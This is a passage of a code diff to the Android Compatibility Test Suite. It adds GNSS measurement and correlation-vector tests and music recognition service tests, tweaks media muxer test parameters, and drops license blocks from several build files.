+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssMeasurementRequest;
+import android.location.LocationManager;
+import android.os.Parcel;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private Context mContext;
+    private LocationManager mLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mLocationManager = mContext.getSystemService(LocationManager.class);
+        assertNotNull(mLocationManager);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isCorrelationVectorOutputsEnabled());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isCorrelationVectorOutputsEnabled());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean correlationVectorOutputs) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setCorrelationVectorOutputsEnabled(correlationVectorOutputs);
+        return builder.build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
new file mode 100644
index 0000000..ca7a1fc
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.CorrelationVector;
+import android.location.GnssMeasurement;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+    private static final Collection<CorrelationVector> TEST_CORRELATION_VECTORS =
+            createTestCorrelationVectors();
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        assertEquals(0, measurement.describeContents());
+    }
+
+    @Test
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    @Test
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCorrelationVectors());
+        measurement.resetCorrelationVectors();
+        assertFalse(measurement.hasCorrelationVectors());
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setCorrelationVectors(TEST_CORRELATION_VECTORS);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        Collection<CorrelationVector> correlationVectors = measurement.getCorrelationVectors();
+        assertArrayEquals(
+                TEST_CORRELATION_VECTORS.toArray(
+                        new CorrelationVector[TEST_CORRELATION_VECTORS.size()]),
+                correlationVectors.toArray(new CorrelationVector[correlationVectors.size()]));
+    }
+
+    private static Collection<CorrelationVector> createTestCorrelationVectors() {
+        Collection<CorrelationVector> correlationVectors = new ArrayList<>();
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(10d)
+                        .setFrequencyOffsetMetersPerSecond(10)
+                        .setMagnitude(new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0})
+                        .build());
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(20d)
+                        .setFrequencyOffsetMetersPerSecond(20)
+                        .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
+                        .build());
+        return correlationVectors;
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..74c67d4
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
@@ -0,0 +1,140 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssCapabilities;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *        3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s, the test will fail if any of the fields is not populated
+ *    or in the expected range.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementValuesTest {
+
+    private static final String TAG = "GnssMeasValuesTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+    private Context mContext;
+    private TestGnssMeasurementListener mMeasurementListener;
+    private TestLocationListener mLocationListener;
+    private TestLocationManager mTestLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+        mTestLocationManager = new TestLocationManager(mContext);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+     * It only performs valid checks for the measurements received.
+     * This tests uses actual data retrieved from GPS HAL.
+     */
+    @Test
+    public void testListenForGnssMeasurements() throws Exception {
+        boolean isCorrVecSupported = false;
+        boolean isSatPvtSupported = false;
+
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+            return;
+        }
+
+        if (TestMeasurementUtil.isAutomotiveDevice(mContext)) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        GnssCapabilities capabilities = mTestLocationManager.getLocationManager().
+                getGnssCapabilities();
+        isSatPvtSupported = capabilities.hasSatellitePvt();
+        isCorrVecSupported = capabilities.hasMeasurementCorrelationVectors();
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG);
+        mTestLocationManager.registerGnssMeasurementCallback(
+                mMeasurementListener,
+                new GnssMeasurementRequest.Builder()
+                        .setCorrelationVectorOutputsEnabled(isCorrVecSupported)
+                        .build());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        boolean success = mLocationListener.await();
+        softAssert.assertTrue(
+                "Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success);
+
+        Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of GnssMeasurement Event received = " + eventCount);
+
+        softAssert.assertTrue(
+                "GnssMeasurementEvent count", "X > 0",
+                String.valueOf(eventCount), eventCount > 0);
+
+        for (GnssMeasurementsEvent event : events) {
+            // Verify Gps Event optional fields are in required ranges
+            assertNotNull("GnssMeasurementEvent cannot be null.", event);
+            long timeInNs = event.getClock().getTimeNanos();
+            for (GnssMeasurement measurement : event.getMeasurements()) {
+                TestMeasurementUtil.assertAllGnssMeasurementSystemFields(mTestLocationManager,
+                    measurement, softAssert, timeInNs, isCorrVecSupported, isSatPvtSupported);
+            }
+        }
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/media/Android.bp b/tests/media/Android.bp
index d78e2b7..686f744 100644
--- a/tests/media/Android.bp
+++ b/tests/media/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMediaV2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/media/jni/Android.bp b/tests/media/jni/Android.bp
index d4e192c..f6d436d 100644
--- a/tests/media/jni/Android.bp
+++ b/tests/media/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsmediav2muxer_jni",
     srcs: [
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index dd5f795..cecc5db 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -1175,16 +1175,16 @@
 
         @Test
         public void testEmptyVideoTrack() {
+            if (!mMime.startsWith("video/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("video/")) continue;
                 if (!isMimeContainerPairValid(format)) continue;
                 if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
                     MediaFormat mediaFormat = new MediaFormat();
                     mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
-                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 96);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 128);
                     mediaMuxer.addTrack(mediaFormat);
                     mediaMuxer.start();
                     mediaMuxer.stop();
@@ -1197,16 +1197,20 @@
 
         @Test
         public void testEmptyAudioTrack() {
+            if (!mMime.startsWith("audio/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("audio/")) continue;
-                if (!isMimeContainerPairValid(format)) continue;
                 if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                if (!isMimeContainerPairValid(format)) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
                     MediaFormat mediaFormat = new MediaFormat();
                     mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
-                    mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
-                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+                    if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AMR_WB)) {
+                        mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 16000);
+                    } else {
+                        mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 8000);
+                    }
+                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
                     mediaMuxer.addTrack(mediaFormat);
                     mediaMuxer.start();
                     mediaMuxer.stop();
@@ -1219,8 +1223,8 @@
 
         @Test
         public void testEmptyMetaDataTrack() {
+            if (!mMime.startsWith("application/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("application/")) continue;
                 if (!isMimeContainerPairValid(format)) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
@@ -1238,15 +1242,15 @@
 
         @Test
         public void testEmptyImageTrack() {
+            if (!mMime.startsWith("image/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("image/")) continue;
                 if (!isMimeContainerPairValid(format)) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
                     MediaFormat mediaFormat = new MediaFormat();
                     mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
-                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 96);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 128);
                     mediaMuxer.addTrack(mediaFormat);
                     mediaMuxer.start();
                     mediaMuxer.stop();
diff --git a/tests/mocking/Android.bp b/tests/mocking/Android.bp
index 7288500..2c000b3 100644
--- a/tests/mocking/Android.bp
+++ b/tests/mocking/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMockingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/mocking/debuggable/Android.bp b/tests/mocking/debuggable/Android.bp
index cc38656..aa8cda7 100644
--- a/tests/mocking/debuggable/Android.bp
+++ b/tests/mocking/debuggable/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMockingDebuggableTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/mocking/debuggable/TEST_MAPPING b/tests/mocking/debuggable/TEST_MAPPING
new file mode 100644
index 0000000..c6529b3
--- /dev/null
+++ b/tests/mocking/debuggable/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMockingDebuggableTestCases"
+    }
+  ]
+}
diff --git a/tests/mocking/extended/Android.bp b/tests/mocking/extended/Android.bp
index 2ea11b3..da3a33c 100644
--- a/tests/mocking/extended/Android.bp
+++ b/tests/mocking/extended/Android.bp
@@ -15,10 +15,6 @@
 // NOTE: when converting this file to Android.bp, verify that
 // 'atest CtsExtendedMockingTestCases' succeeds.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsExtendedMockingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/mocking/inline/Android.bp b/tests/mocking/inline/Android.bp
index 65588cd..6a57df4 100644
--- a/tests/mocking/inline/Android.bp
+++ b/tests/mocking/inline/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsInlineMockingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
new file mode 100644
index 0000000..fccb736
--- /dev/null
+++ b/tests/musicrecognition/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMusicRecognitionTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    sdk_version: "system_current",
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/musicrecognition/AndroidManifest.xml b/tests/musicrecognition/AndroidManifest.xml
new file mode 100644
index 0000000..c4b6df2
--- /dev/null
+++ b/tests/musicrecognition/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.musicrecognition.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION" />
+
+    <application>
+
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".CtsMusicRecognitionService"
+             android:label="CtsCMusicRecognitionService"
+             android:permission="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.musicrecognition.MUSIC_RECOGNITION"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the MusicRecognitionManager APIs."
+         android:targetPackage="android.musicrecognition.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
new file mode 100644
index 0000000..918df5a
--- /dev/null
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for MusicRecognition CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="hidden-api-checks" value="false"/>
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+
+  <!-- Only available to recents, which can't be an instant app. -->
+  <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsMusicRecognitionTestCases.apk" />
+    <option name="test-file-name" value="CtsOutsideOfPackageService.apk" />
+  </target_preparer>
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.musicrecognition.cts" />
+  </test>
+
+</configuration>
diff --git a/tests/musicrecognition/OWNERS b/tests/musicrecognition/OWNERS
new file mode 100644
index 0000000..910abcb
--- /dev/null
+++ b/tests/musicrecognition/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 830636
+
+chfrank@google.com
+joannechung@google.com
+oni@google.com
+volnov@google.com
diff --git a/tests/musicrecognition/OutsideOfPackageService/Android.bp b/tests/musicrecognition/OutsideOfPackageService/Android.bp
new file mode 100644
index 0000000..24eac55
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsOutsideOfPackageService",
+    defaults: ["cts_defaults"],
+    sdk_version: "system_current",
+    static_libs: [
+            "androidx.annotation_annotation",
+        ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
new file mode 100644
index 0000000..88990fc
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.musicrecognition.cts2"
+    android:targetSandboxVersion="2">
+
+    <application>
+        <service android:name=".OutsideOfPackageService"
+            android:label="OutsideOfPackage"
+            android:exported="true">
+        </service>
+    </application>
+</manifest>
diff --git a/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
new file mode 100644
index 0000000..1e0608a6
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.musicrecognition.cts2;
+
+import android.media.AudioFormat;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class OutsideOfPackageService extends MusicRecognitionService {
+
+    @Override
+    public void onRecognize(@NonNull ParcelFileDescriptor stream,
+            @NonNull AudioFormat audioFormat,
+            @NonNull Callback callback) {
+        throw new RuntimeException("unexpected call to onRecognize!");
+    }
+}
diff --git a/tests/musicrecognition/TEST_MAPPING b/tests/musicrecognition/TEST_MAPPING
new file mode 100644
index 0000000..612fa47
--- /dev/null
+++ b/tests/musicrecognition/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMusicRecognitionTestCases"
+    }
+  ]
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
new file mode 100644
index 0000000..f8ebaac
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.musicrecognition.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.media.AudioFormat;
+import android.media.MediaMetadata;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import com.google.common.io.ByteStreams;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class CtsMusicRecognitionService extends MusicRecognitionService {
+    private static final String TAG = CtsMusicRecognitionService.class.getSimpleName();
+    public static final String SERVICE_PACKAGE = "android.musicrecognition.cts";
+    public static final ComponentName SERVICE_COMPONENT = new ComponentName(
+            SERVICE_PACKAGE, CtsMusicRecognitionService.class.getName());
+
+    private static Watcher sWatcher;
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public void onRecognize(@NonNull ParcelFileDescriptor stream,
+            @NonNull AudioFormat audioFormat,
+            @NonNull Callback callback) {
+        if (sWatcher.failureCode != 0) {
+            callback.onRecognitionFailed(sWatcher.failureCode);
+        } else {
+            Log.i(TAG, "Reading audio stream...");
+            sWatcher.stream = readStream(stream);
+            Log.i(TAG, "Reading audio done.");
+            callback.onRecognitionSucceeded(sWatcher.result, sWatcher.resultExtras);
+        }
+    }
+
+    private byte[] readStream(ParcelFileDescriptor stream) {
+        ParcelFileDescriptor.AutoCloseInputStream fis =
+                new ParcelFileDescriptor.AutoCloseInputStream(stream);
+        try {
+            return ByteStreams.toByteArray(fis);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static Watcher setWatcher() {
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 30_000;
+
+        public CountDownLatch destroyed = new CountDownLatch(1);
